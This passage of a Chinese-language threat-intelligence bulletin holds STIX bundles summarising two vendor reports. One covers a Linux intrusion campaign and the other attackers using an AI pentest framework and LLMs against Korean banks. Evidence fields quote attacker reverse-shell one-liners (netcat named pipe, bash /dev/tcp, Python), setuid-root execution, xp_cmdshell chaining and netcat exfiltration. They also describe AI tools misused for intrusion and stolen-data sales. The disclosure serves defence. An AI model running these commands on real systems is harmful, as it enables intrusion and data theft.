"relationship_type": "drops",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者重命名 Python3 解释器为 .libpython-helper 执行高权限命令。",
"x_evidence": "原文：The attackers used the Python 3 interpreter and renamed it to .libpython-helper to execute shell commands with high privileges.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--820e2ac4-ed5b-4768-9288-b451671af9e5",
"relationship_type": "drops",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者部署自定义 SUID root shell 后门 .libsystemd-helper。",
"x_evidence": "原文：Custom SUID root shell: This backdoor is dropped with the name .libsystemd-helper.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--9c8f99f5-b8cd-4317-9a63-94af50e4abdc",
"relationship_type": "drops",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者重命名 /bin/bash 为 .tourch 并赋予 SUID 权限。",
"x_evidence": "原文：A renamed legitimate /bin/bash binary: The attackers wrote to disk a file named .tourch... chmod u+s.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--44660807-bd3b-4cf0-83be-4198b887bf84",
"relationship_type": "drops",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者使用 dump.sqlite 临时存储数据库转储结果。",
"x_evidence": "原文：writing four tables... to a local SQLite database named dump.sqlite.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--7be22a59-f37a-4335-ab99-038d0f166f08",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者使用命名管道和 Netcat 建立内存中反向 shell。",
"x_evidence": "原文：Named pipe via Netcat: ... rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc <C2> <port> >/tmp/f.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--fc08af5a-3d91-4ddf-9a86-708a6613bdcd",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者使用 Bash TCP 重定向命令建立反向 shell。",
"x_evidence": "原文：Bash TCP redirects: ... bash -i >& /dev/tcp/[IP]/[PORT] 0>&1.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--04686c65-eb42-4f7a-9291-656b9fa18985",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者使用 Python 子进程命令生成远程交互式 shell。",
"x_evidence": "原文：Python subprocesses: ... python3 -c ... subprocess.call(['/bin/bash','-i']).",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f8876eb4-1c54-45a8-8c1d-f7fb455d6675",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者利用重命名的 Python 解释器执行 root 权限命令。",
"x_evidence": "原文：Following is an example of a command used: /usr/lib/x86_64-linux-gnu/.libpython-helper -c import os;os.setuid(0);os.setgid(0);os.system(\"<command>\").",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--2ce143d7-1847-4983-813c-385d925e55ec",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者通过 MSSQL 服务器进行双跳执行命令。",
"x_evidence": "原文：EXEC xp_cmdshell 'sqlcmd... -Q \"EXEC xp_cmdshell ''whoami''\"...'；double-hop execution chain.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--2aeebf71-d662-4828-8657-0fa0c5541eff",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者使用 sshpass 进行内网横向移动。",
"x_evidence": "原文：The attackers also used the sshpass command with hard-coded administrative credentials to enable lateral movement.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f943fb08-653b-4047-a0bd-4d484705284f",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者压缩并利用 netcat 外发数据库转储。",
"x_evidence": "原文：the attackers compressed the dumps and attempted to exfiltrate them to a C2 server using the netcat command.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--e513755d-7098-4967-b8a5-dfce12704eeb",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "attack-pattern--a58d6334-78b1-4150-8ed9-37b5eaa5b133",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者使用 Timestomping 技术修改文件时间戳。",
"x_evidence": "原文：They used the command touch -t to change the access and modification time of malicious files.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--35e424c8-8617-4e58-a35d-615ef0720a4d",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--df54cbcc-7928-4d96-8ff6-c5567200fcdd",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--ab1d6dee-74bf-4e82-90e3-072b65e9b2ce",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--76a107d8-b35a-45bc-b942-22ff130981af",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--e0aa3500-e4be-4399-8764-3e05907617bf",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--3ec36251-890f-49e0-8ab1-da9280d584fb",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--8bf5e8b3-704c-4780-82c9-cd7824fad0e0",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--f4d97c2e-dd0f-469d-a2fd-4c74db7d06e1",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--72b13aba-cc27-4a6d-82b7-b58886bb2946",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--662e5161-3644-4d2e-827a-0ad5054338c8",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--ed1afd10-4d38-4f69-a18c-e448a9c92154",
"relationship_type": "communicates-with",
"source_ref": "malware--7403585e-c5e5-4322-938e-84cd1fa77e06",
"target_ref": "ipv4-addr--9f57ce2b-8318-4324-b84a-0e706e7c7e17",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "SysGoRAT 通过 WebSocket 连接硬编码 C2 地址。",
"x_evidence": "原文：The malware established a command and control (C2) connection over WebSocket to wss://<addr>/ws... defaults to a hardcoded IP address 104.194.158[.]65:443.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--1fe2f3f5-5d54-4959-be55-528431ba1d52",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--81a83a88-f326-4736-bfc6-74dd6ac553bb",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--c45b4ea3-141f-42f7-b675-f74197ac6fb5",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--4a984bda-1ab3-4d9a-806e-77fbbbb38333",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--e98f55dd-4034-43ea-a861-d70263b81461",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--925393a0-c902-46cb-991a-02ce5bc75565",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--3285b59e-d130-4b82-82dc-20cc0dec989a",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--6919e895-af1c-4978-afbd-011ab18571a4",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--3c4c5c0e-0baf-44e9-a277-f3ad4c7bacff",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--81c09c78-04a7-4d34-b55f-b9a5dda539e2",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--ff2bc66b-6806-4bcb-b530-edea4b7d97b0",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--23c77e65-21d9-41b3-b9eb-068cd013523b",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--151bbeaa-b8ac-4baa-b0f5-1f961c3524e6",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--e907f995-7a0c-4b41-bf68-7717e88b9d19",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--089fc338-7d11-4bd9-a6fe-581cae528511",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--83416f2d-b847-4950-a113-b8db84d860d3",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--ac6067ce-b7f5-4e08-b931-259a7da6f21d",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--6689a0b3-7a17-4441-b0c7-ea5ee4ef96b2",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--38995597-9cc1-487d-8f3a-105a3b5f251d",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--c999530f-a765-4f83-9cb9-c1dc857d08ba",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--05efd4a7-5f57-428f-ae5c-fd7fe2c472ac",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "ipv4-addr--81ad7d80-54c4-4c56-971f-91e07b1fa7fc",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该 C2 IP 进行通信。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--47b00222-72b6-4f2a-a2bc-cb649dd98821",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "domain-name--e318724b-8fe1-4fb5-ae9b-b3cf13e3bea7",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该域名进行 C2 通信。",
"x_evidence": "原文 IOC 列表披露该域名；攻击链描述将其列为恶意域名。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--ac532396-7ba2-4406-86ab-118cf65cb6eb",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "domain-name--6a6c85f3-6817-4731-bd35-6d96fcabbe26",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该域名进行 C2 通信。",
"x_evidence": "原文 IOC 列表披露该域名；攻击链描述将其列为恶意域名。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d915d480-42f0-4afe-ae36-d6f882146251",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "domain-name--84aeed15-032d-4ac9-96b1-c38b297660fb",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该域名进行 C2 通信。",
"x_evidence": "原文 IOC 列表披露该域名；攻击链描述将其列为恶意域名。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--6503162f-28f4-4e62-be29-e521954afb9a",
"relationship_type": "communicates-with",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "domain-name--15971d87-f8e1-441a-9d75-5e1565d9313b",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用该域名进行 C2 通信。",
"x_evidence": "原文 IOC 列表披露该域名；攻击链描述将其列为恶意域名。",
"x_confidence": 0.9
}
]
}报告链接：
https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/
───────────────────────────────────
（四）攻击者滥用ARTEX框架入侵韩国金融机构
事件名称：威胁者滥用AI渗透测试框架 | ThreatLabz
发布日期：2026-10-14
发布机构：Zscaler ThreatLabz
威胁概述：
Zscaler ThreatLabz披露，攻击者滥用开源智能体渗透测试框架ARTEX，对韩国金融机构的互联网应用开展侦察和漏洞利用。框架将任务上下文交给大模型选择后续动作，再由工作节点执行工具。报告描述了SQL注入、身份验证绕过及个人信息窃取，表明合法AI测试工具可能被用于未授权入侵。
IOC指标：
· 暂无公开IOC
STIX详情：
{
"type": "bundle",
"id": "bundle--6bc20a2f-6ac1-4018-9e9f-8f156f8f4d0c",
"spec_version": "2.1",
"objects": [
{
"type": "intrusion-set",
"spec_version": "2.1",
"id": "intrusion-set--e02a82fd-623c-47da-8a46-7ba9df53b702",
"name": "Chinese-Speaking Threat Actor",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "经济动机、中文使用者的威胁行为者，2026年9月下旬首次观察到其活动",
"x_evidence": "ThreatLabz assesses with moderate confidence that the campaign is the work of a financially motivated, Chinese-speaking threat actor.",
"x_confidence": 0.6
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--c981aa4c-9bfd-489b-9457-24c6743e396e",
"name": "ARTEX",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "攻击者使用的开源 agentic AI 渗透测试框架，开发者 Autumn-27，原发布在 GitHub，使用 LLM 自动化侦察与利用",
"x_evidence": "ARTEX is an open source agentic penetration testing framework originally released on GitHub by the developer Autumn-27; it uses large language models (LLMs) to automate reconnaissance and exploitation tasks.",
"x_confidence": 0.95
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--42828699-a2aa-4384-b43c-a71e21c2f8ad",
"name": "DeepSeek v4.1-flash",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "攻击者在 ARTEX 中配置的主要 LLM 后端",
"x_evidence": "The threat actor configured ARTEX to use the following AI backends: DeepSeek v4.1-flash Primary LLM Backend.",
"x_confidence": 0.9
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--13be5c55-001e-48ba-8544-191768227cfa",
"name": "Zhipu AI GLM-5.3",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "攻击者在 ARTEX 中配置的辅助推理 LLM 后端",
"x_evidence": "The threat actor configured ARTEX to use the following AI backends: Zhipu AI GLM-5.3 Supplementary Reasoning.",
"x_confidence": 0.9
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--070c7814-a557-45ac-8ddd-c14480d6c68c",
"name": "SpaceXAI Grok 4.6",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "攻击者在 ARTEX 中配置的辅助推理 LLM 后端",
"x_evidence": "The threat actor configured ARTEX to use the following AI backends: SpaceXAI Grok 4.6 Supplementary Reasoning.",
"x_confidence": 0.9
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--22ddb1ea-087b-457a-8e18-4f72b8f054bd",
"name": "Claude Code",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "攻击者用于寻求出售被盗数据建议并定位韩语 Telegram 频道的工具",
"x_evidence": "The threat actor used Claude Code sessions to seek advice on selling stolen South Korean financial PII and to locate Korean-language Telegram channels used to sell stolen data.",
"x_confidence": 0.9
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--bd418719-c03c-42c5-80b1-aa5344d62dc9",
"name": "Telegram",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "攻击者计划用于出售被盗数据的通信平台",
"x_evidence": "The threat actor used Claude Code sessions to locate Korean-language Telegram channels used to sell stolen data, and the attack chain indicates planning to sell stolen data via Telegram.",
"x_confidence": 0.75
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--8210c716-979b-4667-bf38-9d11dbd0d334",
"name": "SQL injection",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "攻击者在目标外围 Web 应用程序中识别并利用的 SQL 注入漏洞",
"x_evidence": "LLM-driven agents identified and exploited vulnerabilities including SQL injection and authentication bypass in the peripheral web applications to gain unauthorized access.",
"x_confidence": 0.9
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--eb448e83-ff78-45c8-b0ef-d35d09f95726",
"name": "authentication bypass",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "攻击者在目标外围 Web 应用程序中识别并利用的身份验证绕过漏洞",
"x_evidence": "LLM-driven agents identified and exploited vulnerabilities including SQL injection and authentication bypass in the peripheral web applications to gain unauthorized access.",
"x_confidence": 0.9
},
{
"type": "infrastructure",
"spec_version": "2.1",
"id": "infrastructure--9a08cc62-bccf-41c7-8510-2d27e4003fa8",
"name": "South Korean Financial Institution Web Applications",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "韩国金融机构外围互联网 Web 应用，包括客户查询门户和员工移动应用后端，位于核心银行基础设施之外",
"x_evidence": "The threat actor exploited peripheral internet-facing web applications, including customer-facing inquiry portals and employee-facing mobile application backends.",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--ed92d0ed-8c0a-45e3-9f5d-e922e9b95d24",
"name": "api.anthropic.com",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "行为指标中列出的出站 API 调用目标域名，可能与 Claude Code 使用有关",
"x_evidence": "Outbound API calls to api.anthropic.com, api.deepseek.com, open.bigmodel.cn, or api.x.ai Potential use of LLM services.",
"x_confidence": 0.6
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--82923d42-be47-41b9-ada0-e7adc061202e",
"name": "api.deepseek.com",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "行为指标中列出的 DeepSeek 出站 API 调用目标域名",
"x_evidence": "Outbound API calls to api.anthropic.com, api.deepseek.com, open.bigmodel.cn, or api.x.ai Potential use of LLM services.",
"x_confidence": 0.6
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--05a47f59-3798-488b-9e26-ccb3c2c6b229",
"name": "open.bigmodel.cn",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "行为指标中列出的 Zhipu AI 出站 API 调用目标域名",
"x_evidence": "Outbound API calls to api.anthropic.com, api.deepseek.com, open.bigmodel.cn, or api.x.ai Potential use of LLM services.",
"x_confidence": 0.6
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--4dde8166-c4f6-43af-92a8-7ec7b20ebe25",
"name": "api.x.ai",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "行为指标中列出的 SpaceXAI 出站 API 调用目标域名",
"x_evidence": "Outbound API calls to api.anthropic.com, api.deepseek.com, open.bigmodel.cn, or api.x.ai Potential use of LLM services.",
"x_confidence": 0.6
},
{
"type": "observed-data",
"spec_version": "2.1",
"id": "observed-data--01dddb60-9d48-48c8-8e96-27fa963c2964",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"first_observed": "2026-10-15T04:59:32Z",
"last_observed": "2026-10-15T04:59:32Z",
"number_observed": 1,
"objects": {
"0": {
"type": "file",
"name": "*.aspx",
"description": "可能指示 Web Shell 活动的 ASPX 文件模式",
"aliases": [],
"evidence": "Presence of *.aspx or *.jsp files in unexpected web application paths Potential web shell activity.",
"confidence": 0.5
},
"1": {
"type": "file",
"name": "*.jsp",
"description": "可能指示 Web Shell 活动的 JSP 文件模式",
"aliases": [],
"evidence": "Presence of *.aspx or *.jsp files in unexpected web application paths Potential web shell activity.",
"confidence": 0.5
}
}
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--785a5c6f-5d04-4bee-a66b-c9458c741d64",
"relationship_type": "uses",
"source_ref": "intrusion-set--e02a82fd-623c-47da-8a46-7ba9df53b702",
"target_ref": "tool--c981aa4c-9bfd-489b-9457-24c6743e396e",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "威胁行为者配置并使用 ARTEX 框架实施攻击",
"x_evidence": "The threat actor configured ARTEX to use the AI backends listed in Table 1.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--005a1f4f-6570-41b1-9c99-945e79d5518a",
"relationship_type": "uses",
"source_ref": "tool--c981aa4c-9bfd-489b-9457-24c6743e396e",
"target_ref": "tool--42828699-a2aa-4384-b43c-a71e21c2f8ad",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "ARTEX 使用 DeepSeek v4.1-flash 作为主 LLM 后端",
"x_evidence": "DeepSeek v4.1-flash Primary LLM Backend.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f79b1581-9f8a-4aae-8af2-68dd7ed6ac83",
"relationship_type": "uses",
"source_ref": "tool--c981aa4c-9bfd-489b-9457-24c6743e396e",
"target_ref": "tool--13be5c55-001e-48ba-8544-191768227cfa",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "ARTEX 使用 Zhipu AI GLM-5.3 作为辅助推理 LLM 后端",
"x_evidence": "Zhipu AI GLM-5.3 Supplementary Reasoning.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--c1717cd5-85d9-40a7-ad82-c6b0c0b801a3",
"relationship_type": "uses",
"source_ref": "tool--c981aa4c-9bfd-489b-9457-24c6743e396e",
"target_ref": "tool--070c7814-a557-45ac-8ddd-c14480d6c68c",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
"description": "ARTEX 使用 SpaceXAI Grok 4.6 作为辅助推理 LLM 后端",
"x_evidence": "SpaceXAI Grok 4.6 Supplementary Reasoning.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--54c4a352-b84b-46ba-924d-f220e82e5de3",
"relationship_type": "targets",
"source_ref": "intrusion-set--e02a82fd-623c-47da-8a46-7ba9df53b702",
"target_ref": "infrastructure--9a08cc62-bccf-41c7-8510-2d27e4003fa8",
"created": "2026-10-15T04:59:32Z",
"modified": "2026-10-15T04:59:32Z",
